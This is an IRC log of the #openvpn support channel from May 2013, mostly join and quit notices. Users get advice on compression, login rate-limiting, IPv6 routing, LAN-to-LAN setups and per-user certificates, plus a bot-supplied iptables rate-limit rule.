15:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:25 -!- emcepe is now known as mcp
15:26 -!- JSharpe__ [~JSharpe@ns264658.ovh.net] has quit [Quit: Leaving]
16:00 -!- rsc [~robert@fedora/rsc] has left #openvpn ["Linux - The future has already started!"]
16:08 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
16:16 < backjlack> I'm looking into deploying OpenVPN between a development workstation and a datacenter server. Could someone tell me what kind of savings they've seen with compression enabled, please?
16:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:23 -!- s7r1 [~s7r@82.137.10.166] has left #openvpn []
16:32 < pekster> backjlack, depends completely on how compressable the data is. 'adaptive' mode (the default) automatically disables it when the savings isn't worth the extra byte of overhead
16:34 < backjlack> pekster: Of course, I was asking because I wanted to hear what kind of savings were achieved with compressible data. I don't expect ssh and similar compressed protocols to be any better.
16:35 < pekster> If you have a ping packet full of the same byte, you'll get an amazing compression ratio. If you're sending encrypted streams you'll get nothing. Real-world usage tends to fall somewhere between that
16:35 < pekster> It's a bit of a loaded question, sort of like asking "if I put my picture in a zip file, how well does it compress."
16:37 < pekster> jpg or pre-compressed png, probably not well. A bitmap desktop background with a lot of a solid color, probably very well. Same applies to openvpn, but in this case depending on the "compressability" of the payload in the packet
16:37 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
16:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:38 < backjlack> Yes, of course, I can understand it's a question which is a bit too general. However, the apps I'd be using send and receive data which is quite easy to compress.
16:38 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:38 < backjlack> I'll set up a test environment and benchmark the setup.
16:47 -!- JSharpe [~JSharpe@176.253.10.142] has joined #openvpn
16:52 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
16:53 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
16:55 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
16:58 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
17:07 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
17:17 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:38 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
17:54 -!- frank-- is now known as thumbs
17:54 -!- SpaceBass [~SP@173-167-53-210-cpennsylvania.hfc.comcastbusiness.net] has quit [Quit: Leaving]
17:57 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
18:04 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
18:16 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:20 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
18:24 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Quit: ChatZilla 0.9.89-rdmsoft [XULRunner 1.9.0.17/2009122204]]
18:40 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
18:42 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
18:43 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
18:44 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
18:45 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
18:46 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
18:46 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
18:49 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
19:00 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
19:04 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 255 seconds]
19:07 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
19:08 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
19:13 -!- Devastator [~devas@unaffiliated/devastator] has left #openvpn []
19:15 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:52 -!- gory [gory@creepy.charun.de] has joined #openvpn
19:55 < gory> Hi, I've been reading the openvpn man pages to enable auth-user-pass-verify, but I couldn't find any option on how to limit the max queries if the login failed.
19:55 <@krzee> how to limit the max queries?
19:57 < gory> yes, I've read about the option auth-retry-type and thought interact would satisfy my needs, but I want to limit the retries to 3 for example and on third fail to disconnect. and block the connection ip through iptables
20:00 < pekster> --auth-retry is for clients, while --auth-user-pass-verify is for servers
20:02 < gory> hmm okay, my fault misunderstood it. But would a scenario as described be possible?
20:03 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 264 seconds]
20:03 < pekster> Sure, just not with an openvpn option. Your auth script would need to build that logic into it, although you get the client IP there you can block through a method of your choice
20:03 < pekster> (presumably with some method to undo the ban later)
20:05 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 264 seconds]
20:05 < gory> great thank you, to buildin the logic within my python script shouldn't be that much trouble
20:07 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
20:07 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
20:08 < BtbN> can i use the same variables for route-ipv6 as for route?
20:10 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
20:10 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
20:13 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
20:19 < BtbN> Hm, seems like it's impossible to redirect ipv6 traffic at all
20:19 < BtbN> it allways kills the route to the server
20:19 < BtbN> and there is no way to manualy find the old ipv6 gateway
20:19 < pekster> You can't use net_gateway? (I presume you're connecting to the server over ipv6 as the transport?)
20:20 < BtbN> route-ipv6 doesn't know about net_gateway
20:20 < BtbN> at least that's what it writes to the logfile
20:20 < pekster> You could just add a route via --route on the client side, since you already know the value of --remote anyway
20:20 < BtbN> i am on the client side
20:21 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
20:21 < BtbN> doesn't help, as i don't know the current local gateway
20:21 < BtbN> tends to change a lot
20:21 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
20:21 < pekster> Ah, gotcha. An --up or --route-up script might help
20:21 < BtbN> That's not possible on android.
20:22 < BtbN> this could be solved if there was net_gateway and so on for route-ipv6
20:22 < BtbN> like it's available for --route
20:22 < pekster> What's the error, the "net_gateway undefined -- unable to get default gateway from system" message?
20:22 < BtbN> no, it doesn't know what i mean by net_gateway
20:22 < pekster> So it was a different message then?
20:23 < BtbN> yes, route-ipv6 simple hasn't such aliases
20:23 < BtbN> it only accepts raw addresses
20:30 -!- trumee_ is now known as trumee
20:31 < pekster> Right, seems that logic isn't built into the options-parsing for the route-ipv6 directive
20:31 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 276 seconds]
20:36 -!- bigdissaved [~bigdissav@S0106586d8f570527.rd.shawcable.net] has joined #openvpn
20:36 < bigdissaved> !welcome
20:36 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
20:36 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
20:43 < bigdissaved> I am about to build a VPN between two Linux routers, and I just want to be sure that I can do what I am hopeing to do.
20:44 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 248 seconds]
20:46 -!- ponyofde1th [~vladi@cpe-75-80-173-129.san.res.rr.com] has quit [Quit: leaving]
20:47 < bigdissaved> can I have 2 networks, share the LAN data, and still use their independent internet connections?
20:48 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Ping timeout: 252 seconds]
20:49 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
20:49 < pekster> bigdissaved: Sure, if you want to route between LANs on either end of the 2, see the bot output for !serverlan and !clientlan . Follow them seperatly as both are required to get bi-directional routing
20:50 < rob0> If you don't set --redirect-gateway, the gateway is not redirected.
20:50 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
20:50 < bigdissaved> thanks, I just do not want to waste hours, just to find out it will ot work.. Thanks!
20:51 < bigdissaved> perfect!
20:52 < bigdissaved> !serverlan
20:52 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
20:55 < bigdissaved> Oh, can both routers still handle their own DCHP?
21:00 < rob0> um, where did you see something to the contrary?
21:01 < rob0> are you thinking about bridging? Generally a bad idea.
21:02 < bigdissaved> I am not sure what I am doing yet....
21:03 < bigdissaved> trying to figure out what to do be fore I do it..
21:04 -!- master_of_master [~master_of@p4FF24DB8.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
21:08 -!- master_of_master [~master_of@p4FF243DA.dip0.t-ipconnect.de] has joined #openvpn
21:14 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
21:19 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
21:24 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has quit [Quit: Ex-Chat]
21:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 260 seconds]
21:31 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
21:36 -!- bigdissaved [~bigdissav@S0106586d8f570527.rd.shawcable.net] has left #openvpn []
21:39 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
21:41 -!- t35guy1 [~Andrew@63.142.161.5] has joined #openvpn
21:42 -!- Netsplit *.net <-> *.split quits: JSharpe, lbft
21:44 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
21:47 -!- Netsplit *.net <-> *.split quits: t35guy, kantlivelong, jive, eliasp
21:47 -!- Netsplit over, joins: JSharpe, lbft
21:51 -!- Netsplit *.net <-> *.split quits: JSharpe, lbft
21:52 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
21:52 -!- Netsplit over, joins: JSharpe, lbft
22:06 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
23:15 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
23:30 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
23:32 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
23:33 -!- t35guy1 is now known as t34guy
23:33 -!- t34guy is now known as t35guy
23:37 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
23:40 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
23:43 -!- IAPS [~IAPS@46.36.199.199] has joined #openvpn
23:46 -!- IAPS [~IAPS@46.36.199.199] has quit [Client Quit]
23:46 -!- IAPS [~IAPS@46.36.199.199] has joined #openvpn
--- Day changed Mon May 13 2013
00:22 -!- brute11k [~brute@89.249.230.32] has quit [Ping timeout: 246 seconds]
01:02 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
01:10 -!- t35guy [~Andrew@63.142.161.5] has quit [Ping timeout: 264 seconds]
01:13 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
01:14 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
01:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:57 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:58 -!- zamba [marius@flage.org] has quit [Ping timeout: 256 seconds]
02:00 -!- zamba [marius@flage.org] has joined #openvpn
02:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
02:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:13 -!- tiny [~ivob@unaffiliated/tiny] has joined #openvpn
02:14 < tiny> Hello. Can openvpn client encrypt auth data (username/password) so they don't have to be stored in clear text file?
02:17 < EugeneKay> No. Use KeePass or such.
02:19 -!- xbanux1 [~xbanux@115.254.75.113] has quit [Ping timeout: 256 seconds]
02:21 < tiny> EugeneKay: that requires installing another application and  opening it it every time I want to connect. It would be a nice functionality if integrated into openvpn.
02:22 < EugeneKay> Feel free to bring it up on the mailing list; don't expect any traction without a patch at the very least, but I don't see such feature bloat being added.
02:22 < EugeneKay> Perhaps to the Windows UI, but not `openvpn`
02:22 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
02:23 -!- furyFoo [~nu@server.mastermindnetworks.org] has joined #openvpn
02:23 < tiny> Ah, I forgot to mention, yes, this is for wingui (my colleagues use it) and they hate typing in passwords every time since I started generating them with pw manager. Storing generated passwords in cleartext file kind of beats the purpose.
02:23 < furyFoo> !login
02:24 < EugeneKay> 2 factor auth is silly if you're just gonna bypass it ;-)
02:27 < furyFoo> Speaking of auth on my VPN i can login with the same user/pw from two different PCs  :o
02:27 < furyFoo> What did I do wrong ?
02:27 < furyFoo> PS I'm using PAM auth with common cert for all users
02:28 < furyFoo> Do i really need to issue a cert per user to prevent this ?
02:29 < EugeneKay> Yes.
02:33 -!- tiny [~ivob@unaffiliated/tiny] has left #openvpn ["Leaving"]
02:35 < furyFoo> Dam
02:36 < furyFoo> Thanks for the info Eugene .
02:39 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
02:43 -!- furyFoo [~nu@server.mastermindnetworks.org] has left #openvpn []
02:44 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
02:49 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
02:53 -!- brute11k [~brute@89.249.231.82] has joined #openvpn
02:58 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 276 seconds]
03:01 -!- zeroXten_ [~zeroXten@0x10.co.uk] has quit [Quit: leaving]
03:01 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
03:08 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 248 seconds]
03:13 -!- brute11k1 [~brute@89.249.231.82] has joined #openvpn
03:14 -!- brute11k [~brute@89.249.231.82] has quit [Ping timeout: 252 seconds]
03:22 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
03:22 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
03:23 -!- Neal|ZNC [neal@felix.ineal.me] has joined #openvpn
03:24 -!- Dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
03:24 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
03:24 -!- mode/#openvpn [+o krzie] by ChanServ
03:24 -!- havoc_ [~havoc@neptune.chaillet.net] has joined #openvpn
03:25 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
03:25 -!- ppr [~peper@gentoo/developer/peper] has joined #openvpn
03:25 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:25 -!- Poster|w- [poster@gateway/shell/bshellz.net/x-spqjramnqzpifrjx] has joined #openvpn
03:26 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
03:26 -!- Varazir_ [~mircwars@c-94-255-133-18.cust.bredband2.com] has joined #openvpn
03:26 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
03:26 -!- WOOOP_ [~mcrozes@ec2-54-245-244-120.us-west-2.compute.amazonaws.com] has joined #openvpn
03:26 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has joined #openvpn
03:27 -!- Netsplit *.net <-> *.split quits: WOOOP, tyteen4a03, peper, JackWinter1, levifig, JPeterson, qmr_
03:27 -!- rheddry [~levifig@spwn.co] has joined #openvpn
03:27 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 246 seconds]
03:27 -!- Netsplit over, joins: tyteen4a03
03:27 -!- Strider_ [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
03:28 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
03:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
03:30 -!- mode/#openvpn [+o plaisthos] by ChanServ
03:31 -!- Netsplit *.net <-> *.split quits: Neal_, Tera, JackSparrow, jzaw, havoc, NuclearMeltdown, EugeneKay, hjohnson, @krzee, @dazo,  (+7 more, use /NETSPLIT to show all of them)
03:31 -!- krzie is now known as krzee
03:31 -!- Strider_ is now known as hjohnson
03:31 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
03:31 -!- mode/#openvpn [+o dazo_afk] by ChanServ
03:31 -!- dazo_afk is now known as dazo
03:31 -!- Netsplit over, joins: EugeneKay
03:32 -!- Netsplit over, joins: C-S-B
03:32 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
03:33 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
03:34 -!- Varazir_ is now known as Varazir
03:36 -!- Netsplit *.net <-> *.split quits: qmr_
03:37 -!- Netsplit over, joins: qmr_
03:37 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
03:52 -!- Neal|ZNC is now known as Neal_
04:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
04:21 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
04:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:29 -!- brute11k [~brute@89.249.231.82] has joined #openvpn
04:30 -!- brute11k1 [~brute@89.249.231.82] has quit [Ping timeout: 252 seconds]
04:33 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:35 -!- brute11k [~brute@89.249.231.82] has quit [Ping timeout: 245 seconds]
04:39 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:41 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:43 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:43 < EugeneKay> !fail2ban
04:43 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
04:53 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
04:53 -!- IAPS [~IAPS@46.36.199.199] has quit []
04:55 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
04:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:00 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:01 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 264 seconds]
05:02 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
05:02 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 248 seconds]
05:05 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
05:14 -!- havoc_ is now known as havoc
05:18 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
05:32 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
05:40 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 245 seconds]
05:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:47 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has joined #openvpn
05:59 -!- cherwin_ is now known as cherwin
06:06 -!- t35guy1 [~Andrew@63.142.161.17] has joined #openvpn
06:09 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
06:12 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Ping timeout: 255 seconds]
06:12 -!- rheddry [~levifig@spwn.co] has quit [Ping timeout: 260 seconds]
06:12 -!- Dropje_ [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
06:12 -!- Tera_ [~tera@ip133-114.seclan.com] has quit [Ping timeout: 260 seconds]
06:12 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has quit [Ping timeout: 260 seconds]
06:12 -!- lbft [~lbft@199.195.249.177] has quit [Read error: Connection reset by peer]
06:12 -!- lbft [~lbft@199.195.249.177] has joined #openvpn
06:14 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
06:14 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 264 seconds]
06:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:15 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
06:16 -!- levifig [~levifig@spwn.co] has joined #openvpn
06:19 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
06:21 -!- Netsplit *.net <-> *.split quits: zamba, [1]JPeterson, JSharpe, lbft, MrPockets
06:21 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has quit [Quit: michaelhart]
06:21 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Quit: WeeChat 0.4.0]
06:25 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
06:25 -!- JSharpe_ [~JSharpe@176.253.10.142] has joined #openvpn
06:25 -!- Netsplit over, joins: lbft, MrPockets, zamba, JSharpe
06:25 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
06:25 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Client Quit]
06:25 -!- JSharpe [~JSharpe@176.253.10.142] has quit [Ping timeout: 241 seconds]
06:32 -!- unicorn [~p3rror@41.250.251.159] has joined #openvpn
06:34 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
06:34 -!- HaxCore [~p3rror@41.249.253.52] has joined #openvpn
06:38 -!- unicorn [~p3rror@41.250.251.159] has quit [Ping timeout: 248 seconds]
07:09 -!- HaxCore [~p3rror@41.249.253.52] has left #openvpn ["Leaving"]
07:09 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
07:10 -!- MorgyN_ [~mig@island.morgyn.org] has joined #openvpn
07:12 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:12 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
07:13 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
07:15 -!- nastjuid_ [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
07:16 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 264 seconds]
07:16 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has quit [Ping timeout: 264 seconds]
07:16 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Ping timeout: 264 seconds]
07:17 -!- ronnocol [~lance@mail.ronnoco.net] has quit [Remote host closed the connection]
07:17 -!- ronnocol [~lance@mail.ronnoco.net] has joined #openvpn
07:18 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has joined #openvpn
07:41 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
07:41 -!- t35guy [~Andrew@63.142.161.17] has joined #openvpn
07:44 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
07:45 -!- zeroXten_ [~zeroXten@0x10.co.uk] has joined #openvpn
07:46 -!- Varazir_ [~mircwars@c-94-255-133-18.cust.bredband2.com] has joined #openvpn
07:50 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has joined #openvpn
07:50 -!- Netsplit *.net <-> *.split quits: p3rror, Tera, JackWinter, t35guy1, MorgyN_, i7c, tyteen4a03, zeroXten, Varazir, C-S-B
07:51 -!- Varazir_ is now known as Varazir
07:51 -!- tyteen4a- [tyteen4a03@us2.freeBNC.net] has joined #openvpn
07:51 -!- zeroXten_ [~zeroXten@0x10.co.uk] has quit [Quit: leaving]
07:51 -!- Netsplit over, joins: zeroXten
07:51 -!- Netsplit over, joins: i7c
07:53 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has joined #openvpn
07:55 -!- mattock_afk is now known as mattock
07:58 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
07:59 < havoc> hmm, looks like src build for 2.3.x is a bit different from 2.2.x
07:59 < havoc> hmm, maybe no, just misleading verbage in docs
08:02 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
08:03 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
08:07 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
08:08 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
08:11 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:23 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Changing host]
08:23 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
08:25 <@dazo> havoc: we had an overhaul of the autotools build chain in 2.3 ... so yeah, it's massively changed
08:25 < havoc> I was just looking at ./configure --help
08:25 < havoc> doing a checkinstall of 2.3.1 on debian
08:28 -!- Netsplit *.net <-> *.split quits: nastjuid_, mcp, JackSparrow, _mnathani_, KiNgMaR, hjohnson, ScriptFanix, levifig, Champi, Poster|w-,  (+1 more, use /NETSPLIT to show all of them)
08:28 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:29 -!- Poster|w [poster@gateway/shell/bshellz.net/x-uuvmgjuvajqdtrui] has joined #openvpn
08:30 -!- Strider [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
08:30 -!- Strider is now known as hjohnson
08:34 -!- Netsplit over, joins: Champi
08:36 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
08:36 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
08:36 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
08:36 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:36 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 256 seconds]
08:37 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
08:37 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Ping timeout: 256 seconds]
08:37 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
08:38 -!- master_of_master [~master_of@p4FF243DA.dip0.t-ipconnect.de] has joined #openvpn
08:39 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
08:39 -!- david___1 [~david@192.40.56.116] has joined #openvpn
08:41 -!- phantomcircuit_ [~phantomci@covertinferno.org] has joined #openvpn
08:42 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Ping timeout: 256 seconds]
08:42 -!- david___ [~david@192.40.56.116] has quit [Ping timeout: 256 seconds]
08:42 -!- johncarmack_ [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 256 seconds]
08:42 -!- JSharpe [~JSharpe@176.253.10.142] has joined #openvpn
08:44 -!- MorgyN_ [~mig@island.morgyn.org] has joined #openvpn
08:44 -!- david___ [~david@192.40.56.116] has joined #openvpn
08:45 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:47 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 255 seconds]
08:47 -!- unicorn [~p3rror@41.249.253.52] has joined #openvpn
08:47 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
08:47 -!- Varazir [~mircwars@c-94-255-133-18.cust.bredband2.com] has quit [Ping timeout: 260 seconds]
08:47 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 260 seconds]
